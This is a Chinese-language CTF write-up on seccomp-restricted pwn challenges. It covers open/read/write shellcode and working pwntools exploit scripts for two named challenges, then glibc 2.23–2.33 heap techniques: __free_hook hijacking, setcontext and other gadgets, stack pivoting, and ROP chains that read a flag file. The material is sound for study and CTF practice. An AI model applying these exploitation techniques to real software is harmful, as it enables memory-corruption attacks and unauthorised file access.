背景前置
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
orw_seccomp函数
执行了两次prctl
函数(出现prctl就是沙箱的题目)
1 2
| 第一次调用prctl函数 ————禁止提权 第二次调用prctl函数 ————限制能执行的系统调用只有open,write,exit
|
意思就是我们不能使用特殊的系统调用getshell,但是可以用open、read、write三个系统调用去读flag
入门级orw
一、pwnable_orw
来自buu上的
首先checksec完,发现只开了canary,放入ida看看。发现,可以输入数据,然后还能对输入的数据进行执行调用。因为这开启沙箱,系统调用是无法执行的,只能通过open打开flag,然后read读到缓冲区上,再通过write泄露出来,从而得到flag
第一个exp是自己去构造执行指令,第二个是用pwntool里面自带的shellcraft的功能。相比之下,第二个会更方便许多
exp的详细解析:(来自https://blog.csdn.net/qq_44768749/article/details/108256099)
打开flag文件,sys_open(file,0,0);系统调用号为5
1 2 3 4 5 6 7
| push 0x0 #字符串结尾 push 0x67616c66 #'flag' mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #调用号 int 0x80 #sys_open(flags,0,0)
|
读flag文件,sys_read(3,file,0x100);系统调用号为3
1 2 3 4 5
| mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件 mov edx,0x100; #对应字节数 int 0x80;
|
输出flag文件内容,sys_write(1,file,0x30);系统调用号为4
1 2 3
| mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80;
|
exp1
1 2 3 4 5 6 7 8 9 10 11
|
from pwn import * context(os="linux",arch="i386",log_level="debug") p=remote("node3.buuoj.cn",27948)
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80') shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80') shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80') p.sendlineafter('shellcode:',shellcode) p.interactive()
|
exp2:
1 2 3 4 5 6 7 8
|
from pwn import * context(os="linux",arch="i386",log_level="debug") p=remote("node3.buuoj.cn",27948) shellcode=asm(shellcraft.open('./flag')+shellcraft.read('eax','esp',0x30)+shellcraft.write(1,'esp',0x30)) p.sendlineafter('shellcode:',shellcode) p.interactive()
|
二、easy_shellcode
来自2021NEEPU 纳新CTF上的一道题
64位,保护全开
跟上面很类似,也是有个直接输入点,然后调用执行输入的数据,借用shellcraft,把寄存器改为64位下的即可获取flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
from pwn import * p=remote("neepusec.club",18626) context.log_level='debug' context.os='linux' context.arch='amd64' shellcode=asm(shellcraft.open('./flag')) shellcode+=asm(shellcraft.read('rax','rsp',0x30)) shellcode+=asm(shellcraft.write(1,'rsp',0x30)) p.sendlineafter("orw",shellcode) p.interactive()
|
堆上orw
前面呢,都是一些有关于orw思想的入门基础题,而比赛中常见的都是堆上的orw
glibc-2.23~2.29
一般在 Glibc2.29
以前的 ORW
解题思路已经比较清晰,主要是劫持 free_hook
或者 malloc_hook
写入 setcontext+53
函数中的 gadget,通过 rdi
索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains
setcontext+53处的gadget如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] <setcontext+94>: push rcx <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] <setcontext+125>: xor eax,eax <setcontext+127>: ret
|
目的是获得一个可执行的权限,需要注意的是mov rsp, [rdi+0xa0]
和mov rcx, [rdi+0xa8]
。修改rsp的值将会改变栈指针,因此我们就获得了控制栈的能力,修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行代码中最后的ret操作,而ret去执行的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力
但是为了能执行到这,我们先要做的就是劫持 free_hook 为setcontext + 53
的地址,跳转到这边来执行上面的gadgets,但这都不是重点,重点是setcontext + 53
上的传参设置。因为都是借用rdi传参,刚好我们执行 free 释放堆块时,传入的第一个参数是堆的地址,是存在rdi上的,所以我们要释放的堆块的地址十分关键,在其偏移0xa0和0xa8的位置分别填上我们存储orw链内容的地址(注意不是orw的第一个指令地址)和一个ret汇编指令的地址
注:为什么不能直接是orw的地址:因为执行完setcontext + 53上的gadget会执行ret,而ret执行的rcx指向的地址,如果rcx装的是mprotect的地址,执行完mprotect就会去执行rsp指向的地址,注意是地址!如果前面直接传入rsp的是orw的第一个指令地址,那么ret执行的是把写在上面的指令作为一个地址解析,直接就会报错了,因为rip获取的是栈顶的值,所以要中转一下,前面写的是另外一个地址(一般就直接在shellcode前八个字节的地方),然后在这个地址上写入的才是shellcode的地址
可以自己算偏移,也可以借用pwntools的SigreturnFrame类直接来构造。此时frame中的rsp和rip对应的就是setcontext的rsp和rcx
1 2 3 4
| context.arch = "amd64" frame = SigreturnFrame() frame.rsp = shellcode_addr frame.rip = ret_addr
|
例题查看我之前的比赛复现题目:K1ng_in_h3Ap_II
,Whats your name
glibc-2.29及以上
但在 Glibc 2.29
开始之后 setcontext + 61
中的gadget变成了以 rdx
索引,因此如果我们按照之前思路的话,还要先通过 ROP
控制 RDX
的值,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| .text:00000000000580DD mov rsp, [rdx+0A0h] .text:00000000000580E4 mov rbx, [rdx+80h] .text:00000000000580EB mov rbp, [rdx+78h] .text:00000000000580EF mov r12, [rdx+48h] .text:00000000000580F3 mov r13, [rdx+50h] .text:00000000000580F7 mov r14, [rdx+58h] .text:00000000000580FB mov r15, [rdx+60h] .text:00000000000580FF test dword ptr fs:48h, 2 .... .text:00000000000581C6 mov rcx, [rdx+0A8h] .text:00000000000581CD push rcx .text:00000000000581CE mov rsi, [rdx+70h] .text:00000000000581D2 mov rdi, [rdx+68h] .text:00000000000581D6 mov rcx, [rdx+98h] .text:00000000000581DD mov r8, [rdx+28h] .text:00000000000581E1 mov r9, [rdx+30h] .text:00000000000581E5 mov rdx, [rdx+88h] .text:00000000000581EC xor eax, eax .text:00000000000581EE retn
|
所以在 glibc-2.29~2.33 是使用新的 gadget 来进行构造出 rop 读 flag,触发方式并未改变,仍旧是选择使用 __free_hook 来触发。
gadget1
这其中用到的 gadget
是 getkeyserv_handle+576
,其汇编如下
1 2 3
| mov rdx, [rdi+8] mov [rsp+0C8h+var_C8], rax call qword ptr [rdx+20h]
|
这个 gadget
可以通过 rdi
来控制 rdx
, 非常好用,而且从 Glibc2.29 以上都可用
控制 rdx
之后,我们就可以通过 setcontext
来控制其他寄存器了
可以用下面的命令进行查询
1
| ROPgadget --binary libc.so.6 | grep "mov rdx, qword ptr \[rdi"
|
这条 gadget
可以配合以下的 gadget
使用,比起 setcontext + 61 更加合适,需要的堆块长度更小。
1
| ROPgadget --binary ./libc-2.31.so | grep "mov rsp, rdx ; ret"
|
这两个的结合使用时(因为是把 rdx 赋值给 rsp,所以需要读入新的数据把 rdx + 0x20 指向的 gadget 进行覆盖),可以对分配到 __free_hook 的堆块进行布局,布局如下:
1 2 3
| gadget1 gadget2 payload = p64(gadget1) + p64(free_hook + 0x10) + p64(leak + libc.sym['gets']) + p64(0)*3 + p64(gadget2)
|
然后发送 rop 链子即可。
1 2 3 4
| rop = p64(0)*2 + b'./flag\x00\x00' rop += p64(pop_rdi) + p64(free_hook + 0x10) + p64(pop_rsi) + p64(0) + p64(open) rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30) + p64(read) rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30) + p64(write)
|
gadget2
通过 gadget 控制 rbp 的值,从而进行栈迁移,将栈劫持到我们可以控制的堆地址上,并执行预先布置的 rop 链,从而获取 flag
先介绍一下万金油的 gadget svcudp_reply+26
,汇编如下:
1 2 3 4 5 6
| mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];
|
这个 gadgets 主要是通过 rdi
控制 rbp
进而控制 rax
并执行跳转,由于我们已经控制了 rbp
的值,因此需要在 rax+0x28
的位置部署 leave ;ret
以及最初的 rbp位置也布置 leave ;ret
,让 rsp 再跳一个地方,即可完成栈迁移(因为如果只有一次的话,之前的 rbp + 0x10 和 rbp + 0x18 是无法写入正确写入 rop 的)
从而在我们已经布置好 orw rop链
的位置伪造栈地址并劫持控制流,最终读取flag
来源:https://www.anquanke.com/post/id/236832
http://blog.eonew.cn/archives/993
https://blog.csdn.net/A951860555/article/details/118268484